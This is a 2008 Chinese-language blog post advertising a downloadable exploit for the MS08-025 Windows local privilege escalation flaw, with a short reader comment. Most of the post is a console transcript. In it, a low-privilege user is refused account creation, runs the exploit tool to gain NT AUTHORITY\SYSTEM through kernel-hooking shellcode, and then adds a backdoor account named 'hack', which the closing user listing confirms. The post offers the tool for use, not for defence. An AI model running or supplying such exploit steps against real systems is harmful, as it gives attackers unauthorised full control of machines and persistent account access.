MS08-025 for win2k & win2k3

    [晴 April 18, 2008 11:09 | by ]
来源:BlogJava
PS:Win2k CN SP2 ,Win2k3 CN SP1下测试通过
D:\>whoami
BAICKER-VMWARE\009

D:\>net user hack /add
系统发生 5 错误。

拒绝访问。
Quotation
D:\>ms08025 whoami

        MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
        By 009, baicker@hotmail.com
        TEST OS: WINDOWS 2k3 CN SP1

Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmControl Call Number: 000000E8
HookAddress: 80473CB8

[+] Executing Shellcode...
NT AUTHORITY\SYSTEM

D:\>ms08025 "net user hack /add"

        MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
        By 009, baicker@hotmail.com
        TEST OS: WINDOWS 2k3 CN SP1

Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmControl Call Number: 000000E8
HookAddress: 80473CB8

[+] Executing Shellcode...

D:\>命令成功完成。


D:\>net user

\\BAICKER-VMWARE 的用户帐户

-------------------------------------------------------------------------------
009                      Administrator            Guest
hack                     IUSR_BAICKER-VMWARE      IWAM_BAICKER-VMWARE
TsInternetUser
命令成功完成。


Download ( 1601 downloads)
Tools | Comments(1) | Trackbacks(0) | Reads(12176)
TT
April 18, 2008 13:13
真滴假滴...我杂怎么执行都成功...
Pages: 1/1 First page 1 Final page
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive